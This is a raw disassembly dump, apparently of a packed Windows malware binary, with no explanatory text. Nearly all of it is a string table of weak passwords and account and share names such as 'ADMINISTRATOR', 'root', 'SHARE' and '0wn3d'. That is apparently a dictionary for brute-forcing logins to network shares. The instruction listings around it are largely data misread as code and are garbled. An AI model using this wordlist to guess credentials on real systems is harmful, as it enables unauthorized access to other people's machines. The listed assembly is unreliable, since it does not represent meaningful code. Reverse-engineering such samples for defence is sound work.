--------------------------------------------------------------------------- inc edx add al, dh retn ; --------------------------------------------------------------------------- inc edx add ah, ah retn ; --------------------------------------------------------------------------- inc edx add al, ah retn ; --------------------------------------------------------------------------- inc edx add al, dl retn ; --------------------------------------------------------------------------- inc edx add ah, cl retn ; --------------------------------------------------------------------------- inc edx add al, al retn ; --------------------------------------------------------------------------- inc edx add [ebx+eax*8-3C4FFFBEh], bh inc edx add [ebx+eax*8-3C67FFBEh], ah inc edx add [ebx+eax*8-3C7FFFBEh], cl inc edx add [ebx+eax*8+42h], bh add [eax-3Dh], dh inc edx add [ebx+eax*8+42h], ah add [eax-3Dh], bl inc edx add [ebx+eax*8+42h], dl add [eax-3Dh], cl inc edx add [ebx+eax*8], bh inc edx add [eax], dh retn ; --------------------------------------------------------------------------- inc edx add [ebx+eax*8], ah inc edx add [eax], ah retn ; --------------------------------------------------------------------------- inc edx add [ebx+eax*8], dl inc edx add [ebx+eax*8], al inc edx add al, bh retn 42h ; --------------------------------------------------------------------------- dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset dword_42C2E4 ; --------------------------------------------------------------------------- fadd st, st(2) inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- loc_42AE28: ; CODE XREF: .nsp0:0042AE64j rol dl, 1 inc edx add ah, cl retn 42h ; --------------------------------------------------------------------------- enter 42C2h, 0 rol dl, 42h add [eax-4FFFBD3Eh], bh retn 42h ; --------------------------------------------------------------------------- movsb retn 42h ; --------------------------------------------------------------------------- mov al, ds:9C0042C2h retn 42h ; --------------------------------------------------------------------------- cwde retn 42h ; --------------------------------------------------------------------------- xchg eax, esp retn 42h ; --------------------------------------------------------------------------- dd offset a@@ ; "@@" ; --------------------------------------------------------------------------- mov edx, es inc edx add [eax-7BFFBD3Eh], cl retn 42h ; --------------------------------------------------------------------------- jl short loc_42AE28 inc edx add [eax-3Eh], bh inc edx add [edx+eax*8+42h], dh add [edx+eax*8+42h], dh add [edx+eax*8+42h], ch add [eax-3Eh], ch inc edx add [eax-3Eh], ah inc edx add [edx+eax*8+42h], bl add [edx+eax*8+42h], dl add [edx+eax*8+42h], cl add [eax-3Eh], cl inc edx add [edx+eax*8+42h], al add [eax-3Eh], al inc edx add [edx+eax*8], dh inc edx add [edx+eax*8], ch inc edx add [edx+eax*8], ah inc edx add [edx+eax*8], bl inc edx add [edx+eax*8], dl inc edx add [eax], dl retn 42h ; --------------------------------------------------------------------------- or al, 0C2h inc edx add [ebx+edi*8], dh inc edx add [eax], dh sti inc edx add [ebx+edi*8], bl inc edx add [ebx+edi*8], dl inc edx add [ebx+edi*8], cl inc edx add [ebx+edi*8], al inc edx add [eax+42C7h], al retn 42h ; --------------------------------------------------------------------------- dd offset a0000000000 ; "0000000000" dd offset asc_42C1F0 ; "*" dd offset asc_42C1EC ; "**" dd offset asc_42C1E8 ; "***" dd offset asc_42C1E0 ; "****" dd offset asc_42C1D8 ; "*****" dd offset asc_42C1D0 ; "******" dd offset asc_42C1C8 ; "*******" dd offset asc_42C1BC ; "********" dd offset asc_42C1B0 ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" dd offset aSex ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_0 ; "a" dd offset aAa ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" ; --------------------------------------------------------------------------- cwde mov ebx, 0BB8C0042h inc edx add [eax+740042BBh], al mov ebx, 42h inc ebx add [ebx+edi*4+42h], ch add al, cl rol byte ptr [edx+0], cl db 64h mov ebx, 0BB580042h inc edx add [eax-45h], dl inc edx add al, ah inc byte ptr [edx+0] dec esp mov ebx, 0BB480042h inc edx add [ebx+edi*4+42h], al add al, bl int 3 ; Trap to Debugger inc edx add [eax-45h], al inc edx add [eax], bh mov ebx, 0CC6C0042h inc edx add [eax-5], bh inc edx add [ebx+edi*8+42h], dh add [eax-5], dh inc edx add [eax-5], ch inc edx add [eax-5], ah inc edx add [eax-5], bl inc edx add [eax-5], dl inc edx add [ebx+edi*8+42h], al add [eax], bh sti inc edx add ah, dh retn 42h ; --------------------------------------------------------------------------- dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset aZ ; "z" dd offset aZx ; "zx" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset aAsd ; "asd" dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" dd offset aRfv ; "rfv" dd offset aB_0 ; "b" dd offset aBb ; "bb" dd offset aBbb ; "bbb" dd offset aBbbb ; "bbbb" dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" dd offset aC ; "c" dd offset aCc ; "cc" dd offset aCcc ; "ccc" dd offset aCccc_0 ; "cccc" dd offset aCcccc ; "ccccc" dd offset aCccccc ; "cccccc" dd offset aCcccccc ; "ccccccc" dd offset aCccccccc ; "cccccccc" dd offset aCcccccccc ; "ccccccccc" dd offset aD ; "d" dd offset aDd ; "dd" dd offset aDdd ; "ddd" dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset aF ; "f" dd offset aFf ; "ff" dd offset aFff ; "fff" dd offset aFfff ; "ffff" dd offset aFffff ; "fffff" dd offset aE ; "e" dd offset aEe ; "ee" dd offset aEee ; "eee" dd offset aEeee ; "eeee" dd offset aEeeee ; "eeeee" dd offset aEeeeee ; "eeeeee" dd offset aG ; "g" dd offset aGg ; "gg" dd offset aGgg ; "ggg" dd offset aGggg ; "gggg" dd offset aGgggg ; "ggggg" dd offset aGggggg ; "gggggg" dd offset asc_42B9BC ; "h" dd offset aHh ; "hh" dd offset aHhh ; "hhh" dd offset aHhhh ; "hhhh" dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" dd offset aI_1 ; "i" dd offset aIi ; "ii" dd offset aIii ; "iii" dd offset aIiii ; "iiii" dd offset aIiiii ; "iiiii" dd offset aIiiiii ; "iiiiii" dd offset aJ ; "j" dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_42B92C ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM_1 ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_1 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset byte_443398 dd 0 dword_42B684 dd 10h ; .nsp0:00402616r ... a142536 db '142536',0 ; DATA XREF: .nsp0:0042B604o align 10h a753951 db '753951',0 ; DATA XREF: .nsp0:0042B600o align 4 a951753 db '951753',0 ; DATA XREF: .nsp0:0042B5FCo align 10h a159357 db '159357',0 ; DATA XREF: .nsp0:0042B5F8o align 4 a753159 db '753159',0 ; DATA XREF: .nsp0:0042B5F4o align 10h a13579 db '13579',0 ; DATA XREF: .nsp0:0042B5F0o align 4 a2684 db '2684',0 ; DATA XREF: .nsp0:0042B5ECo align 10h a2486 db '2486',0 ; DATA XREF: .nsp0:0042B5E8o align 4 aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0042B5E4o align 10h aMnb db 'mnb',0 ; DATA XREF: .nsp0:0042B5E0o a112233 db '112233',0 ; DATA XREF: .nsp0:0042B5DCo align 4 a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0042B5D8o align 4 a3edc db '3edc',0 ; DATA XREF: .nsp0:0042B5D4o align 4 a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0042B5D0o align 4 a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0042B5CCo align 4 a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0042B5C8o align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0042B5C4o align 4 aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0042B5C0o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0042B5BCo align 4 aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0042B5B8o align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0042B5B4o align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0042B5B0o align 10h aQqww db 'qqww',0 ; DATA XREF: .nsp0:0042B5ACo align 4 aAass db 'aass',0 ; DATA XREF: .nsp0:0042B5A8o align 10h aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042B5A4o align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0042B5A0o align 10h aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0042B59Co align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0042B598o align 10h aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042B594o align 4 aZzz db 'zzz',0 ; DATA XREF: .nsp0:0042B590o aZz db 'zz',0 ; DATA XREF: .nsp0:0042B58Co align 10h aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042B584o align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0042B580o align 10h aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0042B57Co align 4 aQqq db 'qqq',0 ; DATA XREF: .nsp0:0042B578o aQq db 'qq',0 ; DATA XREF: .nsp0:0042B574o align 10h aQ: ; DATA XREF: .nsp0:00403127o ; .nsp0:0042B570o ... unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0042B56Co align 4 aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0042B568o align 4 aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042B564o align 4 aWww db 'www',0 ; DATA XREF: .nsp0:0042B560o aWw db 'ww',0 ; DATA XREF: .nsp0:0042B55Co align 4 aW: ; DATA XREF: .nsp0:0042B558o ; .nsp0:0043FEDCo unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042B554o align 10h aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0042B550o align 4 aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0042B54Co align 10h aVvv db 'vvv',0 ; DATA XREF: .nsp0:0042B548o aVv db 'vv',0 ; DATA XREF: .nsp0:004069F5o ; .nsp0:0042B544o align 4 aV: ; DATA XREF: .nsp0:00405AAFo ; .nsp0:0042B540o ... unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0042B53Co align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0042B538o align 4 aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042B534o align 4 aYyy db 'yyy',0 ; DATA XREF: .nsp0:0042B530o aYy db 'yy',0 ; DATA XREF: .nsp0:0042B52Co align 4 aY: ; DATA XREF: .nsp0:0042B528o ; .nsp0:0043FEECo unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042B524o align 4 aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0042B520o align 10h aTttt db 'tttt',0 ; DATA XREF: .nsp0:0042B51Co align 4 aTtt db 'ttt',0 ; DATA XREF: .nsp0:0042B518o aTt db 'tt',0 ; DATA XREF: .nsp0:0042B514o align 10h aT: ; DATA XREF: .nsp0:004031F7o ; .nsp0:0042B510o ... unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0042B50Co align 4 aSssss db 'sssss',0 ; DATA XREF: .nsp0:0042B508o align 4 aSsss db 'ssss',0 ; DATA XREF: .nsp0:0042B504o align 4 aSss db 'sss',0 ; DATA XREF: .nsp0:0042B500o aSs db 'ss',0 ; DATA XREF: .nsp0:0042B4FCo align 4 aS_1: ; DATA XREF: .nsp0:00403151o ; .nsp0:0042B4F8o ... unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0042B4F4o align 10h aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0042B4F0o align 4 aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0042B4ECo align 10h aUuu db 'uuu',0 ; DATA XREF: .nsp0:0042B4E8o aUu db 'uu',0 ; DATA XREF: .nsp0:0042B4E4o align 4 aU: ; DATA XREF: .nsp0:00406A3Ao ; .nsp0:0042B4E0o ... unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0042B4DCo align 4 aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0042B4D8o align 4 aPppp db 'pppp',0 ; DATA XREF: .nsp0:0042B4D4o align 4 aPpp db 'ppp',0 ; DATA XREF: .nsp0:0042B4D0o aPp db 'pp',0 ; DATA XREF: .nsp0:0042B4CCo align 4 aP: ; DATA XREF: .nsp0:00406AADo ; .nsp0:0042B4C8o ... unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0042B4C4o align 4 aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0042B4C0o align 10h aOooo db 'oooo',0 ; DATA XREF: .nsp0:0042B4BCo align 4 aOoo db 'ooo',0 ; DATA XREF: .nsp0:0042B4B8o aOo db 'oo',0 ; DATA XREF: .nsp0:0042B4B4o align 10h aO: ; DATA XREF: .nsp0:0040595Fo ; .nsp0:0042B4B0o unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0042B4ACo align 4 aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0042B4A8o align 4 aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0042B4A4o align 4 aNnn db 'nnn',0 ; DATA XREF: .nsp0:0042B4A0o aNn db 'nn',0 ; DATA XREF: .nsp0:0042B49Co align 4 aN: ; DATA XREF: .nsp0:0040580Fo ; .nsp0:0042B498o ... unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0042B494o align 10h aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0042B490o align 4 aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0042B48Co align 10h aMmm db 'mmm',0 ; DATA XREF: .nsp0:0042B488o aMm db 'mm',0 ; DATA XREF: .nsp0:0042B484o align 4 aM_1: ; DATA XREF: .nsp0:0040635Co ; .nsp0:0042B480o ... unicode 0, <m>,0 aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0042B47Co align 4 aLllll db 'lllll',0 ; DATA XREF: .nsp0:0042B478o align 4 aLlll db 'llll',0 ; DATA XREF: .nsp0:0042B474o align 4 aLll db 'lll',0 ; DATA XREF: .nsp0:0042B470o aLl db 'll',0 ; DATA XREF: .nsp0:0042B46Co align 4 asc_42B92C: ; DATA XREF: .nsp0:0042B468o ; .nsp0:0043FF1Co unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0042B464o align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0042B460o align 10h aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0042B45Co align 4 aKkk db 'kkk',0 ; DATA XREF: .nsp0:0042B458o aKk db 'kk',0 ; DATA XREF: .nsp0:0042B454o align 10h aK: ; DATA XREF: .nsp0:004058B7o ; .nsp0:0042B450o ... unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0042B44Co align 4 aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0042B448o align 4 aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0042B444o align 4 aJjj db 'jjj',0 ; DATA XREF: .nsp0:0042B440o aJj db 'jj',0 ; DATA XREF: .nsp0:0042B43Co align 4 aJ: ; DATA XREF: .nsp0:00405839o ; .nsp0:0042B438o ... unicode 0, <j>,0 aIiiiii db 'iiiiii',0 ; DATA XREF: .nsp0:0042B434o align 10h aIiiii db 'iiiii',0 ; DATA XREF: .nsp0:0042B430o align 4 aIiii db 'iiii',0 ; DATA XREF: .nsp0:0042B42Co align 10h aIii db 'iii',0 ; DATA XREF: .nsp0:0042B428o aIi db 'ii',0 ; DATA XREF: .nsp0:0042B424o align 4 aI_1: ; DATA XREF: .nsp0:0040317Bo ; .nsp0:0042B420o ... unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 ; DATA XREF: .nsp0:0042B41Co align 4 aHhhhh db 'hhhhh',0 ; DATA XREF: .nsp0:0042B418o align 4 aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:0042B414o align 4 aHhh db 'hhh',0 ; DATA XREF: .nsp0:0042B410o aHh db 'hh',0 ; DATA XREF: .nsp0:0042B40Co align 4 asc_42B9BC: ; DATA XREF: .nsp0:0042B408o ; .nsp0:0043FF10o unicode 0, <h>,0 aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:0042B404o align 4 aGgggg db 'ggggg',0 ; DATA XREF: .nsp0:0042B400o align 10h aGggg db 'gggg',0 ; DATA XREF: .nsp0:0042B3FCo align 4 aGgg db 'ggg',0 ; DATA XREF: .nsp0:0042B3F8o aGg db 'gg',0 ; DATA XREF: .nsp0:0042B3F4o align 10h aG: ; DATA XREF: .nsp0:0042B3F0o ; .nsp0:0043FF0Co unicode 0, <g>,0 aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:0042B3ECo align 4 aEeeee db 'eeeee',0 ; DATA XREF: .nsp0:0042B3E8o align 4 aEeee db 'eeee',0 ; DATA XREF: .nsp0:0042B3E4o align 4 aEee db 'eee',0 ; DATA XREF: .nsp0:0042B3E0o aEe db 'ee',0 ; DATA XREF: .nsp0:0042B3DCo align 4 aE: ; DATA XREF: .nsp0:00406556o ; .nsp0:0042B3D8o ... unicode 0, <e>,0 aFffff db 'fffff',0 ; DATA XREF: .nsp0:0042B3D4o align 10h aFfff db 'ffff',0 ; DATA XREF: .nsp0:0042B3D0o align 4 aFff db 'fff',0 ; DATA XREF: .nsp0:0042B3CCo aFf db 'ff',0 ; DATA XREF: .nsp0:00406584o ; .nsp0:0042B3C8o align 10h aF: ; DATA XREF: .nsp0:0042B3C4o ; .nsp0:0043FF08o unicode 0, <f>,0 aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:0042B3C0o align 4 aDddd db 'dddd',0 ; DATA XREF: .nsp0:0042B3BCo align 4 aDdd db 'ddd',0 ; DATA XREF: .nsp0:0042B3B8o aDd db 'dd',0 ; DATA XREF: .nsp0:0042B3B4o align 4 aD: ; DATA XREF: .nsp0:004029E8o ; .nsp0:0042B3B0o ... unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 ; DATA XREF: .nsp0:0042B3ACo align 4 aCccccccc db 